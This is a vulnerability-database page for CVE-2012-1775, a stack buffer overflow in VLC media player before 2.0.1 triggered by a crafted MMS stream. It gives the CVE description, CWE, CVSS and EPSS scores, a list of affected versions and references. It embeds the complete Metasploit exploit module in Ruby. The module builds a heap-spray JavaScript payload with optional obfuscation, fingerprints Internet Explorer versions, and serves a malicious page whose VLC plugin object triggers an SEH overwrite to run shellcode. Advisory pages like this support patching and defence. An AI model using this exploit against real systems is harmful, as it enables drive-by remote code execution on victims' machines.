CVE-2012-1775 : Detail

CVE-2012-1775

Overflow
62.29%V4
Network
2012-03-19
15h00 +00:00
2017-12-13
17h57 +00:00
CVE.org
NVD
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CVE Descriptions

Stack-based buffer overflow in VideoLAN VLC media player before 2.0.1 allows remote attackers to execute arbitrary code via a crafted MMS:// stream.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 18825

Publication date : 2012-05-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "VLC MMS Stream Handling Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow in VLC media player VLC media player prior to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result in a stack buffer overflow when handling a malicious MMS URI. This module uses the browser as attack vector. A specially crafted MMS URI is used to trigger the overflow and get flow control through SEH overwrite. Control is transferred to code located in the heap through a standard heap spray. The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided. }, 'License' => MSF_LICENSE, 'Author' => [ 'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2012-1775'], ['OSVDB', '80188'], ['URL', 'http://www.videolan.org/security/sa1201.html'], # Fix commit diff ['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c'] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1000, }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ # Tested with VLC 2.0.0 [ 'Automatic', {} ], [ 'Internet Explorer 6 on XP SP3', { 'Rop' => false, # Space needed to overflow and generate an exception # which allows to get control through SEH overwrite 'Offset' => 5488, 'OffsetShell' => '0x800 - code.length', 'Blocks' => '1550', 'Padding' => '0' } ], [ 'Internet Explorer 7 on XP SP3', { 'Rop' => false, # Space needed to overflow and generate an exception # which allows to get control through SEH overwrite 'Offset' => 5488, 'OffsetShell' => '0x800 - code.length', 'Blocks' => '1600', 'Padding' => '1' } ] ], 'DisclosureDate' => "Mar 15 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(cli, request) #Default target my_target = target vprint_status("User-Agent: #{request.headers['User-Agent']}") if target.name == 'Automatic' agent = request.headers['User-Agent'] if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ #Windows XP + IE 6 my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ #Windows XP + 7.0 my_target = targets[2] else #If we don't recognize the client, we don't fire the exploit my_target = nil end end return my_target end def on_request_uri(cli, request) #Pick the right target my_target = get_target(cli, request) if my_target.nil? vprint_error("Target not supported") send_not_found(cli) return end vprint_status("URL: #{request.uri.to_s}") #ARCH used by the victim machine arch = Rex::Arch.endian(my_target.arch) nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch) code = Rex::Text.to_unescape(payload.encoded, arch) # Spray overwrites 0x30303030 with our payload spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{code}"); var nops = unescape("#{nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['OffsetShell']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=0; i < #{my_target['Blocks']}; i++) { heap_obj.alloc(block); } JS #Use heaplib js_spray = heaplib(spray) #obfuscate on demand if datastore['OBFUSCATE'] js_spray = ::Rex::Exploitation::JSObfu.new(js_spray) js_spray.obfuscate end src_ip = Rex::Socket.source_address.split('.') hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join # Try to maximize success on IE7 platform: # If first octet of IP address is minor than 16 pad with zero # even when heap spray could be not successful. # Else pad following target heap spray criteria. if ((hex_ip.to_i(16) >> 24) < 16) padding_char = '0' else padding_char = my_target['Padding'] end hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}" html = <<-EOS <html> <head> <script> #{js_spray} </script> </head> <body> <OBJECT classid="clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921" codebase="http://downloads.videolan.org/pub/videolan/vlc/latest/win32/axvlc.cab" width="320" height="240" id="vlc" events="True"> <param name="Src" value="mms://#{hex_ip}:#{datastore['SRVPORT']}" /> <param name="ShowDisplay" value="True" /> <param name="AutoLoop" value="False" /> <param name="AutoPlay" value="True" /> <EMBED pluginspage="http://www.videolan.org" type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2" width="320" height="240" autoplay="yes" loop="no" target="mms://#{hex_ip}:#{datastore['SRVPORT']}" name="vlc"> </EMBED> </OBJECT> </body> </html> EOS #Remove extra tabs in HTML html = html.gsub(/^\t\t/, "") print_status("Sending malicious page") send_response( cli, html, {'Content-Type' => 'text/html'} ) end end

Products Mentioned

Configuraton 0

Videolan>>Vlc_media_player >> Version To (including) 2.0.0

Videolan>>Vlc_media_player >> Version 0.1.99a

Videolan>>Vlc_media_player >> Version 0.1.99b

Videolan>>Vlc_media_player >> Version 0.1.99c

Videolan>>Vlc_media_player >> Version 0.1.99d

Videolan>>Vlc_media_player >> Version 0.1.99e

Videolan>>Vlc_media_player >> Version 0.1.99f

Videolan>>Vlc_media_player >> Version 0.1.99g

Videolan>>Vlc_media_player >> Version 0.1.99h

Videolan>>Vlc_media_player >> Version 0.1.99i

Videolan>>Vlc_media_player >> Version 0.2.0

Videolan>>Vlc_media_player >> Version 0.2.50

Videolan>>Vlc_media_player >> Version 0.2.60

Videolan>>Vlc_media_player >> Version 0.2.61

Videolan>>Vlc_media_player >> Version 0.2.62

Videolan>>Vlc_media_player >> Version 0.2.63

Videolan>>Vlc_media_player >> Version 0.2.70

Videolan>>Vlc_media_player >> Version 0.2.71

Videolan>>Vlc_media_player >> Version 0.2.72

Videolan>>Vlc_media_player >> Version 0.2.73

Videolan>>Vlc_media_player >> Version 0.2.80

Videolan>>Vlc_media_player >> Version 0.2.81

Videolan>>Vlc_media_player >> Version 0.2.82

Videolan>>Vlc_media_player >> Version 0.2.83

Videolan>>Vlc_media_player >> Version 0.2.90

Videolan>>Vlc_media_player >> Version 0.2.91

Videolan>>Vlc_media_player >> Version 0.2.92

Videolan>>Vlc_media_player >> Version 0.3.0

Videolan>>Vlc_media_player >> Version 0.3.1

Videolan>>Vlc_media_player >> Version 0.4.0

Videolan>>Vlc_media_player >> Version 0.4.1

Videolan>>Vlc_media_player >> Version 0.4.2

Videolan>>Vlc_media_player >> Version 0.4.3

Videolan>>Vlc_media_player >> Version 0.4.3-ac3

Videolan>>Vlc_media_player >> Version 0.4.4

Videolan>>Vlc_media_player >> Version 0.4.5

Videolan>>Vlc_media_player >> Version 0.4.6

Videolan>>Vlc_media_player >> Version 0.5.0

Videolan>>Vlc_media_player >> Version 0.5.1

Videolan>>Vlc_media_player >> Version 0.5.2

Videolan>>Vlc_media_player >> Version 0.5.3

Videolan>>Vlc_media_player >> Version 0.6.0

Videolan>>Vlc_media_player >> Version 0.6.1

Videolan>>Vlc_media_player >> Version 0.6.2

Videolan>>Vlc_media_player >> Version 0.7.0

Videolan>>Vlc_media_player >> Version 0.7.1

Videolan>>Vlc_media_player >> Version 0.7.1a

    Videolan>>Vlc_media_player >> Version 0.7.2

    Videolan>>Vlc_media_player >> Version 0.7.2

      Videolan>>Vlc_media_player >> Version 0.7.2

        Videolan>>Vlc_media_player >> Version 0.8.0

        Videolan>>Vlc_media_player >> Version 0.8.1

        Videolan>>Vlc_media_player >> Version 0.8.2

        Videolan>>Vlc_media_player >> Version 0.8.4

        Videolan>>Vlc_media_player >> Version 0.8.4

          Videolan>>Vlc_media_player >> Version 0.8.4a

          Videolan>>Vlc_media_player >> Version 0.8.5

          Videolan>>Vlc_media_player >> Version 0.8.5

            Videolan>>Vlc_media_player >> Version 0.8.5

              Videolan>>Vlc_media_player >> Version 0.8.6

              Videolan>>Vlc_media_player >> Version 0.8.6a

              Videolan>>Vlc_media_player >> Version 0.8.6b

              Videolan>>Vlc_media_player >> Version 0.8.6c

              Videolan>>Vlc_media_player >> Version 0.8.6d

              Videolan>>Vlc_media_player >> Version 0.8.6e

              Videolan>>Vlc_media_player >> Version 0.8.6f

              Videolan>>Vlc_media_player >> Version 0.8.6g

              Videolan>>Vlc_media_player >> Version 0.8.6h

              Videolan>>Vlc_media_player >> Version 0.8.6i

              Videolan>>Vlc_media_player >> Version 0.8.1337

              Videolan>>Vlc_media_player >> Version 0.9

                Videolan>>Vlc_media_player >> Version 0.9.0

                Videolan>>Vlc_media_player >> Version 0.9.1

                Videolan>>Vlc_media_player >> Version 0.9.2

                Videolan>>Vlc_media_player >> Version 0.9.3

                Videolan>>Vlc_media_player >> Version 0.9.4

                Videolan>>Vlc_media_player >> Version 0.9.5

                Videolan>>Vlc_media_player >> Version 0.9.6

                Videolan>>Vlc_media_player >> Version 0.9.7

                  Videolan>>Vlc_media_player >> Version 0.9.8

                    Videolan>>Vlc_media_player >> Version 0.9.8a

                    Videolan>>Vlc_media_player >> Version 0.9.9

                    Videolan>>Vlc_media_player >> Version 0.9.9a

                    Videolan>>Vlc_media_player >> Version 0.9.10

                    Videolan>>Vlc_media_player >> Version 1.0.0

                    Videolan>>Vlc_media_player >> Version 1.0.1

                    Videolan>>Vlc_media_player >> Version 1.0.2

                    Videolan>>Vlc_media_player >> Version 1.0.3

                    Videolan>>Vlc_media_player >> Version 1.0.4

                    Videolan>>Vlc_media_player >> Version 1.0.5

                    Videolan>>Vlc_media_player >> Version 1.0.6

                    Videolan>>Vlc_media_player >> Version 1.1.0

                    Videolan>>Vlc_media_player >> Version 1.1.1

                    Videolan>>Vlc_media_player >> Version 1.1.2

                    Videolan>>Vlc_media_player >> Version 1.1.3

                    Videolan>>Vlc_media_player >> Version 1.1.4

                    Videolan>>Vlc_media_player >> Version 1.1.4.1

                    Videolan>>Vlc_media_player >> Version 1.1.5

                    Videolan>>Vlc_media_player >> Version 1.1.6

                    Videolan>>Vlc_media_player >> Version 1.1.6.1

                    Videolan>>Vlc_media_player >> Version 1.1.7

                    Videolan>>Vlc_media_player >> Version 1.1.8

                    Videolan>>Vlc_media_player >> Version 1.1.9

                    Videolan>>Vlc_media_player >> Version 1.1.10

                    Videolan>>Vlc_media_player >> Version 1.1.10.1

                    Videolan>>Vlc_media_player >> Version 1.1.11

                    Videolan>>Vlc_media_player >> Version 1.1.13

                    References

                    http://www.securityfocus.com/bid/53391
                    Tags : vdb-entry, x_refsource_BID
                    http://www.exploit-db.com/exploits/18825
                    Tags : exploit, x_refsource_EXPLOIT-DB
                    http://www.securityfocus.com/bid/52550
                    Tags : vdb-entry, x_refsource_BID
                    The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.